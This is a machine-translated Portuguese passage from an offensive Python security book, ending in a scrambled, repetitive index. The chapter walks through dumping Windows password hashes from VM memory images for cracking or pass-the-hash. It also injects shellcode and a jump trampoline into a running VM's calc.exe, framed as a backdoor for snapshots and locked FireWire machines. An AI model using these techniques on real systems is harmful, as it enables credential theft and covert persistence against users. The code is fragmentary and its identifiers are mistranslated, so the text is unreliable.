duas etapas incluindo Volatilidade em nossos scripts. O exemplo final mostra como podemos injetar shellcode
diretamente em uma VM em execução em um local preciso que escolhemos. Essa técnica pode ser útil para prender os
usuários paranóicos que navegam ou enviam e-mails apenas de uma VM. Também podemos deixar um backdoor oculto
em um instantâneo da VM que será executado quando o administrador restaurar a VM. Esse método de injeção de
código também é útil para executar código em um computador que possui uma porta FireWire que você pode acessar,
mas que está bloqueada ou inativa e requer uma senha. Vamos começar!
Machine Translated by Google
Instalação
A volatilidade é extremamente fácil de instalar; você só precisa baixá-lo em
https:// code.google.com/ p/ volatility/ downloads/ list. Eu normalmente não faço uma instalação completa. Em vez
disso, mantenho-o em um diretório local e adiciono o diretório ao meu caminho de trabalho, como você verá nas
seções a seguir. Um instalador do Windows também está incluído. Escolha o método de instalação de sua
preferência; deve funcionar bem, faça o que fizer.
Machine Translated by Google
Perfis
A volatilidade usa o conceito de perfis para determinar como aplicar as assinaturas e compensações necessárias para
extrair informações dos despejos de memória. Mas se você puder recuperar uma imagem de memória de um alvo via
FireWire ou remotamente, talvez não saiba necessariamente a versão exata do sistema operacional que está atacando.
Felizmente, o Volatility inclui um plug-in chamado imageinfo que tenta determinar qual perfil você deve usar contra o alvo.
Você pode executar o plugin assim:
$ python vol.py imageinfo -f "memorydump.img"
Depois de executá-lo, você deve obter um bom pedaço de informação de volta. A linha mais importante é a linha
Suggested Profiles , que deve ser mais ou menos assim:
Perfis sugeridos: WinXPSP2x86, WinXPSP3x86
Ao executar os próximos exercícios em um alvo, você deve definir o sinalizador de linha de comando -- perfil para o valor
apropriado mostrado, começando com o primeiro listado. No cenário acima, teríamos
usar:
$ python vol.py plugin --profile ="WinXPSP2x86" argumentos
Você saberá se configurou o perfil errado porque nenhum dos plug-ins funcionará corretamente ou o Volatility
lançará erros indicando que não foi possível encontrar um mapeamento de endereço adequado.
Machine Translated by Google
Capturando hashes de senha Recuperar
os hashes de senha em uma máquina Windows após a penetração é um objetivo comum entre os
invasores. Esses hashes podem ser quebrados offline em uma tentativa de recuperar a senha do alvo ou
podem ser usados em um ataque pass-the-hash para obter acesso a outros recursos da rede. Examinar
as VMs ou instantâneos em um destino é um local perfeito para tentar recuperar esses hashes.
Seja o alvo um usuário paranóico que executa operações de alto risco apenas em uma VM ou uma empresa
tentando conter algumas das atividades de seu usuário em VMs, as VMs apresentam um excelente ponto para coletar
informações depois que você obtém acesso ao hardware do host .
A volatilidade torna esse processo de recuperação extremamente fácil. Primeiro, veremos como operar os plug-ins
necessários para recuperar os deslocamentos na memória onde os hashes de senha podem ser recuperados e, em
seguida, recuperar os próprios hashes. Em seguida, criaremos um script para combinar isso em uma única etapa.
O Windows armazena senhas locais na seção de registro do SAM em um formato de hash e, junto com isso, a chave
de inicialização do Windows armazenada na seção de registro do sistema . Precisamos dessas duas colméias para extrair
os hashes de uma imagem de memória. Para começar, vamos executar o plug-in hivelist para fazer com que o Volatility
extraia os deslocamentos na memória onde essas duas colmeias vivem. Em seguida, passaremos essas informações
para o plug-in hashdump para fazer a extração real do hash. Entre no seu terminal e execute o seguinte comando:
Depois de um ou dois minutos, você deve ser apresentado a alguma saída exibindo onde essas seções de registro
residem na memória. Recortei uma parte da saída por uma questão de brevidade.
Virtual Nome Físico
---------- ---------- ----
Na saída, você pode ver os deslocamentos de memória física e virtual do SAM e das chaves do sistema em negrito.
Tenha em mente que o deslocamento virtual lida com onde na memória, em relação ao sistema operacional, essas
colméias existem. O deslocamento físico é o local no arquivo .vmem real no disco onde essas seções existem. Agora que
temos o SAM e as seções do sistema , podemos passar os deslocamentos virtuais para o plug-in hashdump . Volte ao
seu terminal e digite o seguinte comando, lembrando que seus endereços virtuais serão diferentes dos que mostro.
A execução do comando acima deve fornecer resultados muito parecidos com os abaixo:
Administrador:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3
77041b27:::
Convidado:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j
272fa653:::
SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec fdfa81aee:::
Perfeito! Agora podemos enviar os hashes para nossas ferramentas de cracking favoritas ou executar um pass-the-hash
para autenticar em outros serviços.
Agora, vamos pegar esse processo de duas etapas e simplificá-lo em nosso próprio script autônomo. Abra
grabhashes.py e digite o seguinte código:
Machine
importarTranslated
sys by Google
importar struct
importar volatilidade.conf como conf importar
volatilidade.registro como registro
ÿ arquivo_de_memória = "WindowsXPSP2.vmem"
ÿ sys.path.append("/Users/justin/Downloads/volatility-2.3.1")
Registry.PluginImporter() config =
conf.ConfObject()
config.parse_options()
config.PROFILE = "WinXPSP2x86"
config.LOCATION = "file://%s" % memory_file
Registry.register_global_options(config, commands.Command)
Registry.register_global_options(config, addrspace.BaseAddressSpace)
Primeiro definimos uma variável para apontar para a imagem de memória ÿ que vamos analisar. Em seguida, incluímos
nosso caminho de download do Volatility ÿ para que nosso código possa importar com êxito as bibliotecas do Volatility. O
restante do código de suporte é apenas para configurar nossa instância do Volatility com o perfil e as opções de
configuração definidas também.
Agora vamos mergulhar em nosso código de despejo de hash real. Adicione as seguintes linhas a grabhashes.py.
ÿ registro = RegistryApi(config) ÿ
registro.populate_offsets()
sam_offset = Nenhum
sys_offset = Nenhum
ÿ hashdump = HashDump(config)
pausa
Primeiro instanciamos uma nova instância de RegistryApi ÿ que é uma classe auxiliar com funções de registro
comumente usadas; leva apenas a configuração atual como parâmetro. A chamada populate_offsets ÿ executa o
equivalente à execução do comando hivelist que abordamos anteriormente.
Em seguida, começamos a percorrer cada uma das colmeias descobertas procurando o SAM ÿ e o sistema ÿ
Machine
urticária. Translated
Quando eles by
sãoGoogle
descobertos, atualizamos o objeto de configuração atual com seus respectivos deslocamentos ÿ.
Em seguida, criamos um objeto HashDump ÿ e passamos o objeto de configuração atual. A etapa final ÿ é iterar sobre os
resultados da chamada de função de cálculo, que produz os nomes de usuário reais e seus hashes associados.
$ python grabhashes.py
Você deve ver a mesma saída de quando executou os dois plug-ins independentemente. Uma dica que sugiro é que, ao procurar
encadear a funcionalidade (ou emprestar a funcionalidade existente), faça um grep no código-fonte do Volatility para ver como
eles estão fazendo as coisas nos bastidores. Volatility não é uma biblioteca Python como Scapy, mas examinando como os
desenvolvedores usam seu código, você verá como usar corretamente quaisquer classes ou funções que eles expõem.
Agora vamos passar para alguma engenharia reversa simples, bem como injeção de código direcionada para infectar uma máquina
virtual.
Machine Translated by Google
A tecnologia de virtualização de
injeção direta de código está sendo usada cada vez com mais frequência com o passar do tempo, seja por
causa de usuários paranóicos, requisitos de plataforma cruzada para software de escritório ou concentração de
serviços em sistemas de hardware mais robustos. Em cada um desses casos, se você comprometeu um sistema
host e vê VMs em uso, pode ser útil entrar nelas. Se você também vir arquivos instantâneos da VM por aí, eles
podem ser um lugar perfeito para implantar o shell-code como um método de persistência. Se um usuário reverter
para um instantâneo que você infectou, seu shellcode será executado e você terá um novo shell.
Parte da execução da injeção de código no convidado é que precisamos encontrar um local ideal para injetar o código.
Se você tiver tempo, um lugar perfeito é encontrar o loop de serviço principal em um processo do SISTEMA, porque
você garante um alto nível de privilégio na VM e que seu shellcode será chamado. A desvantagem é que, se você
escolher o local errado ou seu shellcode não estiver escrito corretamente, poderá corromper o processo e ser pego
pelo usuário final ou matar a própria VM.
Faremos uma engenharia reversa simples do aplicativo de calculadora do Windows como um alvo inicial. O
primeiro passo é carregar calc.exe no Immunity Debugger [26] e escrever um script de cobertura de código simples
que nos ajude a encontrar a função do botão = . A ideia é que possamos executar rapidamente a engenharia reversa,
testar nosso método de injeção de código e reproduzir facilmente os resultados. Usando isso como base, você pode
progredir para encontrar alvos mais complicados e injetar shellcode mais avançado.
Depois, é claro, encontre um computador compatível com FireWire e experimente!
Vamos começar com um simples Immunity Debugger PyCommand. Abra um novo arquivo em sua VM do Windows
XP e nomeie-o como codecoverage.py. Certifique-se de salvar o arquivo no diretório principal de instalação do
Immunity Debugger na pasta PyCommands .
da importação immlib *
classe cc_hook(LogBpHook):
def __init__(self):
LogBpHook.__init__(self) self.imm =
Debugger()
def run(self,regs):
self.imm.log("%08x" % regs['EIP'],regs['EIP'])
self.imm.deleteBreakpoint(regs['EIP'])
Retorna
def main(args):
imm = Depurador()
calc = imm.getModule("calc.exe")
imm.analyseCode(calc.getCodebase())
funções = imm.getAllFunctions(calc.getCodebase())
prostituta = cc_hook()
Este é um script simples que encontra todas as funções em calc.exe e para cada uma define um one-shot
Machine
ponto Translated byIsso
de interrupção. Google
significa que, para cada função executada, o Immunity Debugger gera o endereço da
função e, em seguida, remove o ponto de interrupção para que não registremos continuamente os mesmos
endereços de função. Carregue calc.exe no Immunity Debugger, mas não o execute ainda. Em seguida, na barra de
comandos na parte inferior da tela do Immunity Debugger, digite:
! Cobertura de código
Agora você pode executar o processo pressionando a tecla F9. Se você alternar para a Visualização de Log (ALT-L), verá
as funções rolarem. Agora clique em quantos botões quiser, exceto o botão =. A ideia é que você queira executar tudo
menos a única função que está procurando. Depois de clicar o suficiente, clique com o botão direito do mouse em Log
View e selecione Clear Window. Isso remove todas as suas funções de acesso anteriores. Você pode verificar isso
clicando em um botão que você clicou anteriormente; você não deve ver nada aparecer na janela de registro. Agora vamos
clicar naquele botão chato =. Você deve ver apenas uma única entrada na tela de log (talvez seja necessário inserir uma
expressão como 3+3 e, em seguida, pressionar o botão =). Na minha VM do Windows XP SP2, esse endereço é
0x01005D51.
Tudo bem! Nosso rápido tour pelo Immunity Debugger e algumas técnicas básicas de cobertura de código acabou e
temos o endereço onde queremos injetar o código. Vamos começar a escrever nosso código Volatility para fazer esse
negócio desagradável.
Este é um processo de vários estágios. Primeiro, precisamos escanear a memória procurando o processo calc.exe e,
em seguida, procurar em seu espaço de memória um local para injetar o shellcode, bem como encontrar o deslocamento
físico na imagem RAM que contém a função que encontramos anteriormente. Em seguida, temos que inserir um pequeno
salto sobre o endereço da função para o botão = que salta para o nosso shellcode e o executa. O shellcode que usamos
para este exemplo é de uma demonstração que fiz em uma fantástica conferência de segurança canadense [27] chamada
Countermeasure. Este shellcode está usando compensações codificadas, portanto, sua milhagem pode variar.
botão_igual = 0x01005D51
memory_file = "WinXPSP2.vmem"
slack_space = Nenhum
trampoline_offset = Nenhum
sys.path.append("/Users/justin/Downloads/volatility-2.3.1")
Registry.PluginImporter() config =
conf.ConfObject()
Registry.register_global_options(config, commands.Command)
Registry.register_global_options(config, addrspace.BaseAddressSpace)
config.parse_options()
config.PROFILE = "WinXPSP2x86"
Machine Translated=by
config.LOCATION Google % arquivo_de_memória
"arquivo://%s"
Esse código de configuração é idêntico ao código anterior que você escreveu, com a exceção de que estamos
lendo o shellcode ÿ que injetaremos na VM.
Agora vamos colocar o restante do código no lugar para realmente executar a injeção.
importar volatility.plugins.taskmods como taskmods
ÿ p = taskmods.PSList(config)
if str(process.ImageFileName) == "calc.exe":
print "[*] Encontrado calc.exe com PID %d" % process.UniqueProcessId print "[*] Procurando offsets
físicos... aguarde."
ÿÿ address_space = process.get_process_address_space() =
Páginas address_space.get_available_pages()
Primeiro instanciamos uma nova classe PSList ÿ e passamos nossa configuração atual. O módulo PSList é
responsável por percorrer todos os processos em execução detectados na imagem da memória. Nós iteramos
sobre cada processo ÿ e se descobrirmos um processo calc.exe , obtemos seu espaço de endereço completo ÿ e
todas as páginas de memória do processo ÿ.
Agora vamos percorrer as páginas de memória para encontrar um pedaço de memória do mesmo tamanho que
nosso shellcode preenchido com zeros. Além disso, estamos procurando o endereço virtual de nosso manipulador
de botão = para que possamos escrever nosso trampolim. Digite o código a seguir, lembrando-se do recuo.
ÿ físico = address_space.vtop(page[0])
ÿ fd = open(memory_file,"r+") fd.seek(physical)
buf = fd.read(page[1])
experimentar:
fd.flush()
exceto:
passar
Machine Translated by Google
fd.close()
ÿ fd = open(memory_file, "r+")
fd.seek(trampoline_offset) fd.write(tramp)
fd.close()
Tudo bem! Vamos examinar o que todo esse código faz. Quando iteramos sobre cada página, o código retorna
uma lista de dois membros em que page[0] é o endereço da página e page[1] é o tamanho da página em bytes.
À medida que percorremos cada página da memória, primeiro encontramos o deslocamento físico (lembre-se do
deslocamento na imagem da RAM no disco) ÿ de onde está a página. Em seguida, abrimos a imagem RAM ÿ,
procuramos o deslocamento de onde está a página e, em seguida, lemos a página inteira da memória. Em
seguida, tentamos encontrar um pedaço de NULLbytes ÿ do mesmo tamanho do nosso shellcode; é aqui que
escrevemos o shellcode na imagem RAM ÿ. Após encontrarmos um local adequado e injetarmos o shellcode,
pegamos o endereço do nosso shellcode e criamos um pequeno bloco de opcodes x86 ÿ. Esses opcodes geram
o seguinte assembly:
mov ebx, ADDRESS_OF_SHELLCODE
jmp ebx
Lembre-se de que você pode usar os recursos de desmontagem do Volatility para garantir a desmontagem do
número exato de bytes necessários para o salto e restaurar esses bytes em seu shellcode. Vou deixar isso
como dever de casa.
A etapa final do nosso código é testar se nossa função do botão = reside na página atual na qual estamos
iterando ÿ. Se o encontrarmos, calculamos o deslocamento ÿ e então escrevemos nosso trampolim ÿ.
Agora temos nosso trampolim no lugar que deve transferir a execução para o shellcode que colocamos na imagem
RAM.
Machine Translated by Google
Chutando os pneus A
primeira etapa é fechar o Immunity Debugger se ele ainda estiver em execução e fechar todas as instâncias do calc.e
Agora abra calc.exe e execute seu script de injeção de código. Você deve ver uma saída como esta:
$ python code_inject.py [*] Calc.exe
encontrado com PID 1936 [*] Procurando
deslocamentos físicos... aguarde.
[*] Encontrou uma boa localização de shellcode!
[*] Endereço virtual: 0x00010817 [*] Endereço
físico: 0x33155817 [*] Injetando shellcode.
Bonita! Ele deve mostrar que encontrou todos os deslocamentos e injetou o shellcode. Para testá-lo, simplesmente
entre em sua VM, faça um rápido 3+3 e pressione o botão =. Você deve ver uma mensagem aparecer!
Agora você pode tentar fazer engenharia reversa de outros aplicativos ou serviços além do calc.exe para testar
essa técnica. Você também pode estender essa técnica para tentar manipular objetos do kernel que podem
imitar o comportamento do rootkit. Essas técnicas podem ser uma maneira divertida de se familiarizar com a
análise forense de memória e também são úteis para situações em que você tem acesso físico a máquinas ou
invadiu um servidor que hospeda várias VMs.
[27] Se você quiser escrever seu próprio shellcode MessageBox, consulte este tutorial: https:// www.corelan.be/ index.php/ 2010/02/25/
exploit Writing-tutorial-part-9-introduction-to- win32-shellcoding/.
Machine Translated by Google
Machine Translated by Google
Índice
Um link em uma entrada de índice é exibido como o título da seção na qual essa entrada aparece. Como algumas seções têm vários
marcadores de índice, não é incomum que uma entrada tenha vários links para a mesma seção. Clicar em qualquer link o levará diretamente ao
local no texto em que o marcador aparece.
UMA
Protocolo de resolução de endereços, envenenamento de cache ARP com Scapy (consulte envenenamento de cache ARP)
Envenenamento de cache ARP (Address Resolution Protocol), Envenenamento de cache ARP com Scapy, Cache ARP
Envenenamento com Scapy, ARP Cache Envenenamento com Scapy, ARP Cache Envenenamento com Scapy, ARP
Envenenamento de Cache com Scapy
Motor de busca Bing, Kicking the Tires, Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp,
Bing for Burp
bruta do servidor , chutando os pneus, diretórios de força bruta e locais de arquivos, força bruta
Diretórios e locais de arquivos, força bruta Diretórios e locais de arquivos, força bruta
Diretórios e locais de arquivos, diretórios de força bruta e locais de arquivos, HTML de força bruta
Machine Translated
Autenticação by Google
de formulário, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, chutando os pneus
em autenticação de formulário HTML, HTML de força brutaAutenticação de formulário, HTML de força bruta
Autenticação de formulário, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, autenticação de HTMLForm de força bruta, chutando os pneus
em diretórios e locais de arquivos, Kicking the Tires, Brute-Forcing Directories and File Locations,
Diretórios de força bruta e locais de arquivos, Diretórios de força bruta e locais de arquivos,
Diretórios de força bruta e locais de arquivos, diretórios de força bruta e locais de arquivos
aplicando lista de extensões para testar, diretórios de força bruta e locais de arquivos
criação de objetos Fila a partir de arquivos de lista de palavras, diretórios de força bruta e locais de
arquivos configuração de lista de palavras, diretórios de força bruta e testes de locais de arquivos,
API do Burp Extender, Estendendo o Burp Proxy, Estendendo o Burp Proxy, Estendendo o Burp Proxy, Burp
Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp
Fuzzing, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Bing for Burp,
Bing for Burp, Bing for Burp, Bing for Burp, Bing for Burp, transformando o conteúdo do site em senha
Gold, transformando o conteúdo do site em senha Gold, transformando o conteúdo do site em senha Gold,
Transformando o conteúdo do site em senha de ouro, transformando o conteúdo do site em senha de ouro
Machine Translated by Google
criar lista de palavras para adivinhação de senhas, Transformar o conteúdo do site em senha de ouro, Transformar
Conteúdo do site em senha de ouro, transformando o conteúdo do site em senha de ouro, transformando
Conteúdo do site em Password Gold, transformando o conteúdo do site em Password Gold
convertendo o tráfego HTTP selecionado em lista de palavras, transformando o conteúdo do site em senha de ouro
funcionalidade para exibir lista de palavras, Transformando o conteúdo do site em teste de senha
Gold, Transformando o conteúdo do site em Password Gold, Transformando o conteúdo do site em senha
Ouro
criando fuzzers de aplicativos da web, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp Fuzzing, Burp
Fuzzing, Burp Fuzzing, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus
interface com a API do Bing para mostrar todos os hosts virtuais, Kicking the Tires, Bing for Burp, Bing for
Arroto, Bing para arroto, Bing para arroto, Bing para arroto
C
Caim e Abel, Chutando os Pneus
SSH Tunneling
D
diretório de dados, comando e controle do Github
for Exfiltration , configuração do ambiente Python, instalação do Kali Linux, instalação do Kali Linux,
Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali
Linux, Instalando Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE,
WingIDE, WingIDE, WingIDE, WingIDE
Machine Translated by Google
Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux,
Instalando o Kali Linux, Instalando o Kali Linux
o Kali Linux
WingIDE, Instalando Kali Linux, Instalando Kali Linux, WingIDE, WingIDE, WingIDE, WingIDE,
WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE, WingIDE
acessando, WingIDE
exfiltration, Criando o Servidor, IE COM Automation for Exfiltration, IE COM Automation for
Exfiltração, IE COM Automação para Exfiltração, IE COM Automação para Exfiltração, IE COM
Automação para Exfiltração, IE COM Automação para Exfiltração
Guia Extender, Burp, Burp Fuzzing, Kicking the Tires, Kicking the Tires
F
Machine Translated by Google
método de alimentação, autenticação de HTMLForm de força bruta
G
GDI (interface de dispositivo gráfico do Windows), chutando os pneus
Trojans compatíveis com o GitHub, comando e controle do Github, comando e controle do Github, criação
Módulos, Configuração de Trojan, Construindo um Trojan Github-Aware, Hackeando a importação do Python
Funcionalidade, hackeando a funcionalidade de importação do Python, chutando os pneus
Machine Translated by Google
configuração de conta, Github Command and Control
Criando Módulos
H
função handle_client, função handle_comment
Autenticação de formulário HTML, força bruta, força bruta Autenticação de formulário HTML, força bruta
Autenticação de HTMLForm, autenticação de HTMLForm de força bruta, autenticação de HTMLForm de força bruta
Autenticação, HTMLForm de força bruta Autenticação, HTMLForm de força bruta
Autenticação, autenticação de HTMLForm de força bruta, chutando os pneus
Machine Translated by Google
formulário de login do administrador, Autenticação Brute-Forcing HTMLForm
chutando os pneus
Aba do histórico HTTP, Burp, Kicking the Tires, Kicking the Tires
EU
Rotina de decodificação de mensagens ICMP, chutando os pneus, chutando os pneus, chutando os pneus, decodificando
ICMP, Decodificando ICMP, Decodificando ICMP, Decodificando ICMP
Decodificando ICMP
Burp Fuzzing , Kicking the Tires, PCAP Processing, PCAP Processing, PCAP Processing,
Processamento PCAP
Credenciais IMAP, roubo, propriedade da rede com Scapy, roubo de credenciais de e-mail
HTMLForm de força bruta (IOCTL), detecção de pacotes no Windows e Linux, detecção de pacotes no Windows e Linux
Automação COM do Internet Explorer, Diversão com o Internet Explorer, Man-in-the-Browser (tipo de), Man-in-the-Browser
(tipo de), Man-in-the-browser (tipo de), Man-in-the -Browser (tipo de), Man-in-the-Browser (tipo de), Man-in-the-Browser
(tipo de), Criando o servidor, Criando o servidor, IE
COM Automação para Exfiltração, IE COM Automação para Exfiltração, IE COM Automação para
Exfiltração, IE COM Automação para Exfiltração, IE COM Automação para Exfiltração, IE COM
Automação para Exfiltração
exfiltration, Criando o Servidor, IE COM Automation for Exfiltration, IE COM Automation for
Exfiltração, IE COM Automação para Exfiltração, IE COM Automação para Exfiltração, IE COM
Automação para Exfiltração, IE COM Automação para Exfiltração
IOCTL (controle de entrada/saída), Packet Sniffing no Windows e Linux, Packet Sniffing no Windows e Linux
Rotina de decodificação do cabeçalho IP, Packet Sniffing no Windows e Linux, Decodificação da camada IP, Decodificação da
camada IP, Decodificação da camada IP, Decodificação da camada IP
J
Janzen, Cliff, Escalação de Privilégios do Windows
k
Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux, Instalando Kali Linux,
Instalando o Kali Linux, Instalando o Kali Linux
o Kali Linux
eu
M
ataques man-in-the-browser (MitB), Man-in-the-Browser (Kind Of), Man-in-the-Browser (Kind Of),
Man-in-the-Browser (mais ou menos), Man-in-the-Browser (mais ou menos), Man-in-the-Browser (mais ou menos),
Man-in-the-Browser (mais ou menos), criando o servidor
ataques man-in-the-middle (MITM), ARP Cache Poisoning com Scapy, ARP Cache Poisoning com
Scapy, Envenenamento de Cache ARP com Scapy, Envenenamento de Cache ARP com Scapy, Envenenamento de Cache
ARP com Scapy
Microsoft, Kicking the Tires (consulte o mecanismo de pesquisa Bing; Internet Explorer COM automação)
Ataques MITM, ARP Cache Poisoning com Scapy (consulte ataques man-in-the-middle) diretório de
N
Nathoo, Karim, Man-in-the-Browser (mais ou menos)
substituindo Netcat
Noções básicas de rede, A rede: Noções básicas, A rede: Noções básicas, Cliente TCP, Servidor TCP, Servidor TCP,
Chutando os pneus, chutando os pneus, Construindo um Proxy TCP, Construindo um Proxy TCP, Construindo um TCP
Proxy, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko, SSH com Paramiko, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os
Pneus, túnel SSH, túnel SSH, túnel SSH
Machine Translated by Google
criando clientes TCP, The Network: Basics
criando proxies TCP, chutando os pneus, chutando os pneus, construindo um proxy TCP, construindo um TCP
Proxy, Construindo um Proxy TCP
Túneis SSH, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, SSH
Túnel, Túnel SSH, Túnel SSH
SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko, SSH com Paramiko, SSH com Paramiko
executando comandos no cliente Windows por SSH, SSH com teste Paramiko, SSH
com Paramiko
sniffers de rede, A Rede: Raw Sockets e Sniffing, A Rede: Raw Sockets e Sniffing,
A Rede: Raw Sockets e Sniffing, Packet Sniffing no Windows e Linux, Packet Sniffing em
Windows e Linux, detecção de pacotes no Windows e Linux, decodificação da camada IP, decodificação do IP
Camada, Decodificando a Camada IP, Decodificando a Camada IP, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus,
Chutando os Pneus, Decodificando ICMP, Decodificando ICMP, Decodificando ICMP, Decodificando ICMP
Machine Translated by Google
descobrindo hosts ativos em segmentos de rede, The Network: Raw Sockets and Sniffing
Rotina de decodificação de mensagens ICMP, chutando os pneus, chutando os pneus, chutando os pneus, decodificando
ICMP, Decodificando ICMP, Decodificando ICMP, Decodificando ICMP
Rotina de decodificação do cabeçalho IP, Packet Sniffing no Windows e Linux, Decodificação da Camada IP,
Decodificando a camada IP, decodificando a camada IP, decodificando a camada IP
recursos online, Configurando seu ambiente Python, Instalando Kali Linux, WingIDE, The Network:
Básico, SSH com Paramiko, SSH com Paramiko, A Rede: Raw Sockets e Sniffing, Pacote
Cheirando no Windows e Linux, chutando os pneus, possuindo a rede com Scapy, possuindo o
Rede com Scapy, PCAP Processing, PCAP Processing, Kicking the Tires, Kicking the Tires,
Autenticação Brute-Forcing HTMLForm, Kicking the Tires, Estendendo Burp Proxy, Estendendo Burp
Proxy, Extending Burp Proxy, Bing for Burp, Github Command and Control, Github Command and
Controle, Construindo um Trojan Github-Aware , Hackeando a Funcionalidade de Importação do Python, Keylogging para
Diversão e Teclas, Tirando Capturas de Tela, Execução Pythonic Shellcode, Criando o Servidor, Windows
Escalação de Privilégios, Escalação de Privilégios do Windows, Criação de um Monitor de Processo, Criação de um Processo
Machine
Monitor, Translated bydeGoogle
Monitoramento Processos com WMI, Kicking the Tires, Automating Ofensive Forense, Direct
Injeção de código, injeção direta de código
WingIDE, WingIDE
P
processamento de arquivo de captura de pacotes, Kicking the Tires (consulte processamento PCAP)
Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko
lista de palavras para adivinhar senhas, Transformar o conteúdo do site em senha de ouro, Transformar o conteúdo do site em
senha de ouro, Transformar o conteúdo do site em senha de ouro, Transformar o conteúdo do site em
Password Gold, transformando o conteúdo do site em Password Gold
convertendo o tráfego HTTP selecionado em lista de palavras, transformando o conteúdo do site em senha de ouro
funcionalidade para exibir lista de palavras, Transformando o conteúdo do site em teste de senha
Gold, Transformando o conteúdo do site em Password Gold, Transformando o conteúdo do site em Password Gold
Processamento de PCAP (arquivo de captura de pacote), ARP Cache Poisoning com Scapy, Kicking the Tires, Kicking the Tires,
Processamento PCAP, Processamento PCAP, Processamento PCAP, Processamento PCAP
Machine Translated by Google
adicionando código de detecção facial, processamento PCAP
Credenciais POP3, roubo, propriedade da rede com Scapy, roubo de credenciais de e-mail
monitoramento de processo, Criando um monitor de processo, Criando um monitor de processo, Monitoramento de processo
com WMI
privilégios de token, monitoramento de processo com WMI, privilégios de token do Windows, token do Windows
Privilégios
corrida vencedora contra a execução de código, Vencendo a corrida, Vencendo a corrida, Vencendo a corrida
monitoramento de processo, Criando um monitor de processo, Criando um monitor de processo, Monitoramento de processo com
WMI
corrida vencedora contra a execução de código, Criando um Monitor de Processo, Monitoramento de Processo com WMI
Q
Objetos de fila, mapeamento de instalações de aplicativos Web de código aberto, diretórios e arquivos de força bruta
Localizações
R
função random_sleep, IE COM Automation for Exfiltration
do Proxy TCP, ARP Cache Poisoning com Scapy reverse SSH tunneling,
Biblioteca Scapy, Possuir a rede com Scapy, Possuir a rede com Scapy, Possuir a
Rede com Scapy, propriedade da rede com Scapy, roubo de credenciais de e-mail, roubo de e-mail
Credenciais, ARP Cache Poisoning com Scapy, ARP Cache Poisoning com Scapy, ARP Cache
Envenenamento com Scapy, ARP Cache Envenenamento com Scapy, ARP Cache Envenenamento com Scapy, ARP
Cache Poisoning com Scapy, Kicking the Tires, PCAP Processing, PCAP Processing, PCAP
Processamento, Processamento PCAP
Envenenamento de cache ARP , Envenenamento de cache ARP com Scapy, Envenenamento de cache ARP com Scapy, ARP
Envenenamento de Cache com Scapy, Envenenamento de Cache ARP com Scapy, Envenenamento de Cache ARP com Scapy
Processamento PCAP, Envenenamento de Cache ARP com Scapy, Kicking the Tires, Processamento PCAP, PCAP
Processamento, Processamento PCAP, Processamento PCAP
roubo de credenciais de e-mail, propriedade da rede com Scapy, propriedade da rede com Scapy,
Roubar credenciais de e-mail, roubar credenciais de e-mail
Guia do mapa do site, arroto, transformando o conteúdo do site em senha de ouro, chutando os pneus
Credenciais SMTP, roubo, propriedade da rede com Scapy, roubo de credenciais de e-mail
módulo de soquete, A Rede: Noções básicas, A Rede: Noções básicas, Cliente TCP, Servidor TCP, Servidor TCP,
Chutando os pneus
SSH (Secure Shell), SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko, SSH com Paramiko, SSH com Paramiko, Chutando os Pneus, Chutando os Pneus, Chutando os
Pneus, Chutando os Pneus, Túnel SSH, Túnel SSH, Túnel SSH
Machine Translated by Google
escavação de túneis, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, Chutando os Pneus, SSH
Túnel, Túnel SSH, Túnel SSH
para trás, chutando os pneus, túnel SSH , teste de túnel SSH, túnel SSH
com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com Paramiko, SSH com
Paramiko, SSH com Paramiko, SSH com Paramiko
T
Classe TagStripper, transformando o conteúdo do site em senha de ouro
Guia Target, Burp, Kicking the Tires, Transformando o conteúdo do site em senha de ouro, Transformando o site
Conteúdo em Password Gold
Proxies TCP, Chutando os Pneus, Chutando os Pneus, Construindo um Proxy TCP, Construindo um Proxy TCP,
Construindo um Proxy TCP
Machine Translated by Google
criando, chutando os pneus
privilégios de token, monitoramento de processo com WMI, privilégios de token do Windows, token do Windows
Privilégios
cavalos de Troia, comando e controle do Github, comando e controle do Github, criação de módulos, cavalo de Troia
Configuração, Construindo um Trojan Github-Aware, Hackeando a funcionalidade de importação do Python, Hacking
Funcionalidade de importação do Python, Kicking the Tires, Tarefas comuns de trojan no Windows, Keylogging para diversão e
